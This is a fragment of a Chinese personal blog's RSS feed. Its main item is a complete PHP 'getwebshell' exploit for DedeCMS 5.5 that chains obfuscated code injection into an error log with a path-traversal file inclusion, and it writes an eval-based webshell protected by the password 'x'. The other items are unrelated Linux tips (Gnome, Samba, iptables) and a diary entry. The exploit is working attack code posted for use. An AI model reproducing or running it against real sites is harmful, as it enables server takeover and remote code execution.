<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/dedecms-5-5-datalistcp-class-php-contains-exp/" title="DEDECMS 5.5 datalistcp.class.php 包含 EXP">DEDECMS 5.5 datalistcp.class.php 包含 EXP</a></li><li><a href="http://www.lixiaopeng.org/dedecms-fiction-serial-module-0day/" title="DEDECMS 小说连载模块 0DAY">DEDECMS 小说连载模块 0DAY</a></li><li><a href="http://www.lixiaopeng.org/dedecms-v5-5-final-select_soft_post-php-vulnerability/" title="DEDECMS v5.5 Final select_soft_post.php 漏洞">DEDECMS v5.5 Final select_soft_post.php 漏洞</a></li><li><a href="http://www.lixiaopeng.org/dedecms-xday/" title="DEDECMS XDAY">DEDECMS XDAY</a></li><li><a href="http://www.lixiaopeng.org/dedecms-53-inadequacies-chicken-plus-one-small-leak/" title="dedecms 5.3的不足之处,加一鸡肋小漏!">dedecms 5.3的不足之处,加一鸡肋小漏!</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/analysis-dedecms-5-5-datalistcp-class-php-contains/feed/</wfw:commentRss>
		<slash:comments>614</slash:comments>
		</item>
		<item>
		<title>DEDECMS 5.5 datalistcp.class.php 包含 EXP</title>
		<link>http://www.lixiaopeng.org/dedecms-5-5-datalistcp-class-php-contains-exp/</link>
		<comments>http://www.lixiaopeng.org/dedecms-5-5-datalistcp-class-php-contains-exp/#comments</comments>
		<pubDate>Sat, 03 Apr 2010 15:35:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[入侵]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[datalistcp.class.php]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[DEDECMS 5.5]]></category>
		<category><![CDATA[Exp]]></category>
		<category><![CDATA[PHP包含]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1367</guid>
		<description><![CDATA[来源于互联网，具体作者不详。看到好久了，一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个，先发一下记录。有空分析，官方已修补。。 执行成功会在data/cache下生成t.php一句话小马 密码x 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [...]]]></description>
			<content:encoded><![CDATA[<p>来源于互联网，具体作者不详。看到好久了，一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个，先发一下记录。有空分析，官方已修补。。</p>
<p>执行成功会在data/cache下生成t.php一句话小马<br />
密码x</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$argc</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'
+----------------------------------------+
Usage: php '</span><span style="color: #339933;">.</span><span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '</span><span style="color: #339933;">.</span><span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' localhost /dedecms/
+----------------------------------------+   
'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">ini_set</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'max_execution_time'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$post_a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$post_b</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'needCode=aa/../../../data/mysql_error_trace'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$shell</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'data/cache/t.php'</span><span style="color: #339933;">;</span>
&nbsp;
get_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_a</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
post_send<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'plus/comments_frame.php'</span><span style="color: #339933;">,</span><span style="color: #000088;">$post_b</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> post_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$shell</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'t=echo tojen;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$content</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">9</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">'200'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Shell Address is:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #000088;">$shell</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Error.&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> get_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;GET &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$url</span>  HTTP/1.1<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept: */*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Referer: http://<span style="color: #006699; font-weight: bold;">$host</span><span style="color: #006699; font-weight: bold;">$path</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept-Language: zh-cn<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Content-Type: application/x-www-form-urlencoded<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Host: <span style="color: #006699; font-weight: bold;">$host</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Connection: Close<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">80</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Connect to host Error&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$back</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$back</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$back</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> post_send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$path</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;POST &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$path</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$url</span>  HTTP/1.1<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept: */*<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Referer: http://<span style="color: #006699; font-weight: bold;">$host</span><span style="color: #006699; font-weight: bold;">$path</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Accept-Language: zh-cn<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Content-Type: application/x-www-form-urlencoded<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Host: <span style="color: #006699; font-weight: bold;">$host</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Content-Length: &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;Connection: Close<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$message</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$cmd</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">80</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Connect to host Error&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #990000;">fputs</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$back</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$back</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$back</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/analysis-dedecms-5-5-datalistcp-class-php-contains/" title="分析DEDECMS 5.5 datalistcp.class.php 包含">分析DEDECMS 5.5 datalistcp.class.php 包含</a></li><li><a href="http://www.lixiaopeng.org/dedecms-fiction-serial-module-0day/" title="DEDECMS 小说连载模块 0DAY">DEDECMS 小说连载模块 0DAY</a></li><li><a href="http://www.lixiaopeng.org/dedecms-xday/" title="DEDECMS XDAY">DEDECMS XDAY</a></li><li><a href="http://www.lixiaopeng.org/dedecms-v5-5-final-select_soft_post-php-vulnerability/" title="DEDECMS v5.5 Final select_soft_post.php 漏洞">DEDECMS v5.5 Final select_soft_post.php 漏洞</a></li><li><a href="http://www.lixiaopeng.org/eye-day-film-system-0day/" title="睛天电影系统 0DAY">睛天电影系统 0DAY</a></li><li><a href="http://www.lixiaopeng.org/wordpress-2-8-all-version-xss-0day/" title="Wordpress 2.8 All Version Xss 0DAY">Wordpress 2.8 All Version Xss 0DAY</a></li><li><a href="http://www.lixiaopeng.org/wind-4-0-sp7-getshell-0day-inquiry/" title="风讯 4.0 SP7 getshell 0day">风讯 4.0 SP7 getshell 0day</a></li><li><a href="http://www.lixiaopeng.org/dedecms-53-inadequacies-chicken-plus-one-small-leak/" title="dedecms 5.3的不足之处,加一鸡肋小漏!">dedecms 5.3的不足之处,加一鸡肋小漏!</a></li><li><a href="http://www.lixiaopeng.org/wodig413access-free-version-utf-8-from-the-loopholes/" title="Wodig4.1.3Access免费版(UTF-8)上传漏洞">Wodig4.1.3Access免费版(UTF-8)上传漏洞</a></li><li><a href="http://www.lixiaopeng.org/0day-windows-7-rc-7100-gdi-driver-dos-kernel-vulnerability-win32ksys/" title="[0Day]WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞">[0Day]WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/dedecms-5-5-datalistcp-class-php-contains-exp/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>如何在Gnome桌面不显示挂载的硬盘图标</title>
		<link>http://www.lixiaopeng.org/gnome-desktop-does-not-show-how-to-mount-the-hard-disk-icon/</link>
		<comments>http://www.lixiaopeng.org/gnome-desktop-does-not-show-how-to-mount-the-hard-disk-icon/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 16:12:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[挂载]]></category>
		<category><![CDATA[硬盘图标]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1364</guid>
		<description><![CDATA[要禁止这些图标在桌面上的显示，请按如下方法操作： 1. 应用程序->系统工具->配置编辑器(gconf-editor),如果应用程序没有，可以试试直接终端运行sudo gconf-editor 2. 找到 /apps/nautilus/desktop/volumes_visible 设置为 FALSE (单击即可) 您可能对以下文章有兴趣↓No Related Post]]></description>
			<content:encoded><![CDATA[<p>要禁止这些图标在桌面上的显示，请按如下方法操作：</p>
<p>1. 应用程序->系统工具->配置编辑器(gconf-editor),如果应用程序没有，可以试试直接终端运行sudo gconf-editor</p>
<p>2. 找到 /apps/nautilus/desktop/volumes_visible 设置为 FALSE (单击即可)</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li>No Related Post</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/gnome-desktop-does-not-show-how-to-mount-the-hard-disk-icon/feed/</wfw:commentRss>
		<slash:comments>174</slash:comments>
		</item>
		<item>
		<title>Ubuntu下Samba服务器</title>
		<link>http://www.lixiaopeng.org/samba-server-under-ubuntu/</link>
		<comments>http://www.lixiaopeng.org/samba-server-under-ubuntu/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 16:11:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Samba]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[共享]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/samba-server-under-ubuntu/</guid>
		<description><![CDATA[Samba软件包的安装 在Ubuntu的终端中输入一下命令： sudo apt-get install samba sudo apt-get install smbclient Samba服务器的常用命令 开启Samba服务 sudo /etc/init.d/samba start 关闭Samba服务 sudo /etc/init.d/samba stop 重启Samba服务 sudo /etc/init.d/samba restart 嘿嘿，由于st0p只是架设起来方便虚拟机访问我的物理硬盘的数据。所以只是简单的添加了任何人都可以访问并可写的共享。 sudo gedit /etc/samba/smb.conf 修改 # security = user 为 security = share 以下内容加入未尾 [D] path=/media/sda5 public=yes writable=yes [E] path=/media/sda6 public=yes writable=yes [F] path=/media/sda7 public=yes writable=yes [G] path=/media/sda8 public=yes writable=yes ［D］为共享名字 path后面的是共享路径 [...]]]></description>
			<content:encoded><![CDATA[<p>Samba软件包的安装<br />
在Ubuntu的终端中输入一下命令：<br />
sudo apt-get install samba<br />
sudo apt-get install smbclient</p>
<p>Samba服务器的常用命令<br />
开启Samba服务<br />
sudo /etc/init.d/samba start<br />
关闭Samba服务<br />
sudo /etc/init.d/samba stop<br />
重启Samba服务<br />
sudo /etc/init.d/samba restart</p>
<p>嘿嘿，由于st0p只是架设起来方便虚拟机访问我的物理硬盘的数据。所以只是简单的添加了任何人都可以访问并可写的共享。</p>
<p>sudo gedit /etc/samba/smb.conf</p>
<p>修改<br />
# security = user<br />
为<br />
security = share</p>
<p>以下内容加入未尾</p>
<p>[D]<br />
path=/media/sda5<br />
public=yes<br />
writable=yes</p>
<p>[E]<br />
path=/media/sda6<br />
public=yes<br />
writable=yes</p>
<p>[F]<br />
path=/media/sda7<br />
public=yes<br />
writable=yes</p>
<p>[G]<br />
path=/media/sda8<br />
public=yes<br />
writable=yes</p>
<p>［D］为共享名字<br />
path后面的是共享路径</p>
<p>保存一下，然后我们输入sudo /etc/init.d/samba restart<br />
然后我们在虚拟机中就可以通过\\IP访问了</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li><a href="http://www.lixiaopeng.org/ubuntu-auto-mount-ntfs-partition/" title="ubuntu自动挂载NTFS分区">ubuntu自动挂载NTFS分区</a></li><li><a href="http://www.lixiaopeng.org/ubuntu-commonly-used-software-configuration-and-order/" title="Ubuntu常用软件,配置和命令">Ubuntu常用软件,配置和命令</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/samba-server-under-ubuntu/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>CentOS 防火墙配置 80端口</title>
		<link>http://www.lixiaopeng.org/centos-firewall-configuration-80-port/</link>
		<comments>http://www.lixiaopeng.org/centos-firewall-configuration-80-port/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 16:10:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[80端口]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[防火墙]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/?p=1361</guid>
		<description><![CDATA[在虚拟机的CENTOS装好APACHE不能用,郁闷,解决方法如下 /sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT /sbin/iptables -I INPUT -p tcp --dport 22 -j ACCEPT 然后保存： /etc/rc.d/init.d/iptables save 这样重启计算机后,防火墙默认已经开放了80和22端口 这里应该也可以不重启计算机： /etc/init.d/iptables restart 防火墙的关闭，关闭其服务即可： 查看防火墙信息： /etc/init.d/iptables status 关闭防火墙服务： /etc/init.d/iptables stop 永久关闭？不知道怎么个永久法： chkconfig –level 35 iptables off 您可能对以下文章有兴趣↓No Related Post]]></description>
			<content:encoded><![CDATA[<p>在虚拟机的CENTOS装好APACHE不能用,郁闷,解决方法如下</p>
<p>/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT<br />
/sbin/iptables -I INPUT -p tcp --dport 22 -j ACCEPT</p>
<p>然后保存：<br />
/etc/rc.d/init.d/iptables save</p>
<p>这样重启计算机后,防火墙默认已经开放了80和22端口</p>
<p>这里应该也可以不重启计算机：<br />
/etc/init.d/iptables restart</p>
<p>防火墙的关闭，关闭其服务即可：</p>
<p>查看防火墙信息：<br />
/etc/init.d/iptables status</p>
<p>关闭防火墙服务：<br />
/etc/init.d/iptables stop</p>
<p>永久关闭？不知道怎么个永久法：<br />
chkconfig –level 35 iptables off </p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li>No Related Post</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/centos-firewall-configuration-80-port/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>运气很不好</title>
		<link>http://www.lixiaopeng.org/very-bad-luck/</link>
		<comments>http://www.lixiaopeng.org/very-bad-luck/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 14:50:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[随笔]]></category>
		<category><![CDATA[运气]]></category>

		<guid isPermaLink="false">http://www.lixiaopeng.org/very-bad-luck/</guid>
		<description><![CDATA[唉,最近右眼又开始跳了,每次这个时候一定没什么好事发生吧... 前两天家里租出去的老房子外面的两个电表被别人砸坏了,打了110,好似没啥效果...小失望一下... 手上碰了碰了两三处小伤口,因为一些事和老婆吵了一架,还有N多郁闷的事情.. 今天我亲爱的老奶奶也去世了,希望她能够安息,在天国过的一切都好! 本来是打了很多字的,后来想想还是删掉吧,写的太乱了.... 人这一辈子活着,生不带来,死不带去.开心也是过,伤心也是过,我是不是活的太累了,是不是该改变一下了? 您可能对以下文章有兴趣↓No Related Post]]></description>
			<content:encoded><![CDATA[<p>唉,最近右眼又开始跳了,每次这个时候一定没什么好事发生吧...</p>
<p>前两天家里租出去的老房子外面的两个电表被别人砸坏了,打了110,好似没啥效果...小失望一下...</p>
<p>手上碰了碰了两三处小伤口,因为一些事和老婆吵了一架,还有N多郁闷的事情..</p>
<p>今天我亲爱的老奶奶也去世了,希望她能够安息,在天国过的一切都好!</p>
<p>本来是打了很多字的,后来想想还是删掉吧,写的太乱了....</p>
<p>人这一辈子活着,生不带来,死不带去.开心也是过,伤心也是过,我是不是活的太累了,是不是该改变一下了?</p>
<h3  class="related_post_title">您可能对以下文章有兴趣↓</h3><ul class="related_post"><li>No Related Post</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.lixiaopeng.org/very-bad-luck/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
